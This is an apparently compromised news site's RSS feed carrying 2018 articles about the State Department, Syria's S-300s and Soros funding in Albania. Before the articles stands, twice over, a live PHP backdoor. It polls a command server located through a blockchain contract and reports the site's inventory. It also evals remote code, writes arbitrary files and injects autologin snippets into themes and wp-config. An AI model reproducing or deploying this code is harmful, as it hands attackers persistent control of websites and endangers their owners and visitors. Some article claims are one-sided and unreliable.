// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Dept – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 02 Oct 2018 21:09:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Dept – Brief News https://briefnews.eu 32 32 ‘I hope they didn’t do it’: State Dept in doubt over S-300 delivery, warns of ‘serious escalation’ https://briefnews.eu/i-hope-they-didnt-do-it-state-dept-in-doubt-over-s-300-delivery-warns-of-serious-escalation/ https://briefnews.eu/i-hope-they-didnt-do-it-state-dept-in-doubt-over-s-300-delivery-warns-of-serious-escalation/#respond Tue, 02 Oct 2018 21:09:47 +0000 http://briefnews.eu/i-hope-they-didnt-do-it-state-dept-in-doubt-over-s-300-delivery-warns-of-serious-escalation/ The news of Russia completing the delivery of its S-300 air defense system to the Syrian Army has provoked a nervous reaction in Washington, as the US State Department said it still hopes that the delivery had not taken place.

“I saw that report. I cannot confirm that it is accurate. I hope that they did not,” the State Department’s spokeswoman, Heather Nauert, said, referring to the Russian military, as she responded to a question about the S-300.

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S-300 air defense system © Uliana Solovyova

“That would be a sort of a serious escalation” of the situation on the ground in Syria, she added, while refusing to comment further on the issue. Earlier on Tuesday, the Russian Defense Minister Sergey Shoigu told President Vladimir Putin that the Russian military have completed the delivery.

The hardware supplied to Syria consisted of 49 pieces of military equipment, including radars, control vehicles and four S-300 launchers, he added. A unified air defense control system will be created in Syria by October 20, while training of the Syrian crews will take three months, according to Shoigu. The new air defense systems will be particularly able to suppress satellite navigation, radars and communications systems of enemy aircraft over the Mediterranean Sea, in what might be a source of particular concern for the US and its allies.

Russia’s move follows the downing of the Il-20 reconnaissance plane over Syria. It was shot down by a Syrian air defense system while the Israeli jets used it as a cover during an air raid striking targets in the Latakia province. Tel Aviv denied responsibility for the tragedy while the Russian Defense Ministry presented a detailed report on the incident and radar data showing that an Israeli jet indeed used the Russian plane as a cover.

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]]> https://briefnews.eu/i-hope-they-didnt-do-it-state-dept-in-doubt-over-s-300-delivery-warns-of-serious-escalation/feed/ 0 Asleep at the wheel: Dept of Motor Vehicles worker slept on job for 2,200 hrs https://briefnews.eu/asleep-at-the-wheel-dept-of-motor-vehicles-worker-slept-on-job-for-2200-hrs/ https://briefnews.eu/asleep-at-the-wheel-dept-of-motor-vehicles-worker-slept-on-job-for-2200-hrs/#respond Wed, 25 Jul 2018 12:33:35 +0000 http://briefnews.eu/asleep-at-the-wheel-dept-of-motor-vehicles-worker-slept-on-job-for-2200-hrs/

A Department of Motor Vehicles worker has brought new meaning to the term sleeping on the job after it was revealed that she slept at her desk for a whopping 2,200 hours over three years.

According to an audit report from the California State Auditor, the key data operator cost the state more than $ 40,000 whilst snoozing at her desk. From February 2014 to December 2017, the woman was sleeping for “extended periods of time during work hours.”

READ MORE: No human needed: California allows testing of driverless cars

The audit found she failed to perform her duties for “at least three hours each workday” because she was constantly falling asleep. Her supervisor said she woke the woman three to four times a day and that she missed only 30 minutes of work a day, which was disputed by four witnesses who allege she slept for hours at a time. Two said she slept for a minimum of three hours a day, which the audit concluded was correct.

“In addition, the employee’s supervisors failed to take disciplinary or medical action against the employee after initial efforts to address her conduct proved unsuccessful.” the audit reads.

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]]> https://briefnews.eu/asleep-at-the-wheel-dept-of-motor-vehicles-worker-slept-on-job-for-2200-hrs/feed/ 0 Tillerson splurged $12mn on consultants as part of State Dept overhaul plan – report https://briefnews.eu/tillerson-splurged-12mn-on-consultants-as-part-of-state-dept-overhaul-plan-report/ https://briefnews.eu/tillerson-splurged-12mn-on-consultants-as-part-of-state-dept-overhaul-plan-report/#respond Thu, 05 Apr 2018 18:07:45 +0000 http://briefnews.eu/tillerson-splurged-12mn-on-consultants-as-part-of-state-dept-overhaul-plan-report/ Consultants costing up to $ 300 an hour were engaged as Rex Tillerson tried to revamp the State Department. With Tillerson gone, the future of the redesign is uncertain, but taxpayers have already picked up the $ 12 million tab.

Politico has revealed the figures, citing documents it obtained, and said they were partly confirmed by a State Department spokesperson. As many as 90 consultants worked on the project, which was aimed to make the State Department more modern and cost-effective. Their tasks included meeting with officials, collecting and analyzing data, creating presentations, and leading group discussions to help meet Tillerson’s vision of a State Department redesign.

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US Treasury Secretary Steven Mnuchin (L)

Most of the consultants were from Deloitte, as part of a pre-existing federal contract. That contract was previously raised from $ 140 million to $ 265 million, according to Politico. Although budget ceilings are often not reached, the additional available cash may give some indication of just how grand Tillerson’s plans apparently were.

Tillerson’s much-touted planned overhaul was intended to “transform” the State Department, according to one of the documents. That goal aligned with President Donald Trump’s attempts to slash the $ 60 billion a year the US spends on the State Department and affiliated programs by one-third. Critics saw the plan as a way to make severe cuts, and Tillerson eventually revised the plan to focus on modernized technology and better management practices.

However, the fate of Tillerson’s plan remains uncertain, as the former secretary of state was fired from his position last month. The topic is likely to arise during the Senate confirmation hearing for CIA Director Mike Pompeo, who Trump appointed to succeed Tillerson. That hearing is expected to take place later this month.

Politico spoke to congressional officials who, despite trying to learn details of the redesign for months, failed to do so and expressed surprise at the numbers. “I believe we must look into how taxpayer money was spent on this botched project and will continue to call for the committee to examine these issues in open hearings in the near future,” New Jersey Sen. Bob Menendez, the top Democrat on the Senate Foreign Relations Committee, said in a statement.

What is perhaps not surprising is the lavish and questionable spending in Washington. In December, a US professor and his team found that Washington may have spent as much as $ 21 trillion on things it couldn’t account for between the years of 1998 and 2015.  The biggest chunk of that was reportedly spent by the Army.
In February, it was revealed that the US government lost $ 1.2 trillion in 2017. That came after the US Federal Reserve said this month national debt could reach $ 30 trillion in just 10 years and that it should be a reason for concern. 
Wasteful government programs, from dogs performing Shakespeare to fighter jets bankrupting the Pentagon, found themselves the target of a scathing 2017 report that listed $ 473.6 billion in wasteful federal spending. 

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]]> https://briefnews.eu/tillerson-splurged-12mn-on-consultants-as-part-of-state-dept-overhaul-plan-report/feed/ 0 US State Dept spent $9mn on Soros-backed ‘meddling’ in Albanian politics https://briefnews.eu/us-state-dept-spent-9mn-on-soros-backed-meddling-in-albanian-politics/ https://briefnews.eu/us-state-dept-spent-9mn-on-soros-backed-meddling-in-albanian-politics/#respond Thu, 05 Apr 2018 00:13:28 +0000 http://briefnews.eu/us-state-dept-spent-9mn-on-soros-backed-meddling-in-albanian-politics/ Documents released by the State Department under a FOIA lawsuit show that almost $ 9 million in US taxpayer dollars was spent on a campaign in Albania managed by a group run by billionaire George Soros.

The US Agency for International Development (USAID) funneled funds into a “Justice for All” campaign to reform the courts in Albania in 2016, which was run by Soros’s “East West Management Institute,” according to the conservative watchdog Judicial Watch. The group obtained 32 pages of State Department documents through a Freedom of Information Act (FOIA) lawsuit.

“The Obama administration quietly spent at least $ 9 million in US taxpayers’ dollars in direct collusion with left-wing billionaire George Soros’ backing of a socialist government in Albania,” Judicial Watch President Tom Fitton said in a statement.

Soros is a billionaire and “shouldn’t be receiving taxpayer support to advance his radical left agenda to undermine freedom here at home and abroad,” Fitton added.

Following the report’s publication, a USAID official told Fox News that the agency did not provide grants to the Open Society Foundation (OSF) in Albania.

Documents published by Judicial Watch show that this is technically true. Instead, the US Embassy in Tirana and Soros’s Open Society Foundation “each provided funding to a local organization to conduct a public opinion poll on attitudes towards the Judicial Reform effort,” according to a document from February 2017.

The first poll, mentioned in an April 2016 memo, had the OSF ask Albanians about their “knowledge, support, and expectations on justice reform.” The OSF survey showed that 91 percent of respondents support judicial reform to some degree.

“For decades, there has been broad bipartisan agreement in Washington, DC, on the need to promote democracy and human rights abroad,” a spokesperson for OSF told Fox News in a statement, adding, “Of late there has been an unfortunate and misguided effort to politicize this process.”

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US Senators Chris Murphy and John McCain on stage with opposition activists in Kiev, Ukraine, December 2013. © Gleb Garanich

Fitton and Judicial Watch were especially critical of US Ambassador to Albania Donald Lu, a holdover from the Obama administration whom they accuse of having inappropriately close ties to Soros. The embassy in Tirana, they point out, frequently asks representatives of Soros’s Open Society Foundation to “participate in technical reviews” of applications for funding the USAID receives, according to a February 2017 memo.

Judicial Watch accuses Lu of interfering in Albanian politics by backing the country’s socialist government at the expense of the opposition. In May 2017, the group said, Lu declared that the US would recognize the results of the Albanian general election even if the opposition refused to participate.

In March 2017, five Republican senators wrote to then-Secretary of State Rex Tillerson, asking about the reports that US taxpayer funds were spent on interfering in internal politics of countries like Albania, as well as neighboring Macedonia.

“This includes reports of diplomats playing political favorites, USAID funds supporting extreme and sometimes violent political activists, and the US government working to marginalize the moderates and conservatives in leadership roles,” Senator Mike Lee (R-Utah) said at the time, adding that “this behavior is unacceptable and must be halted immediately.”

Judicial Watch has also made FOIA requests about the activities of Soros groups in Macedonia, Romania and Colombia.

Last month, the political establishment in Washington was up in arms over the Trump administration’s proposal to cut the budget for “democracy promotion” activities abroad, specifically funding for the National Endowment for Democracy (NED) and its partisan adjuncts, the National Democratic Institute (NDI) and the International Republican Institute (IRI).

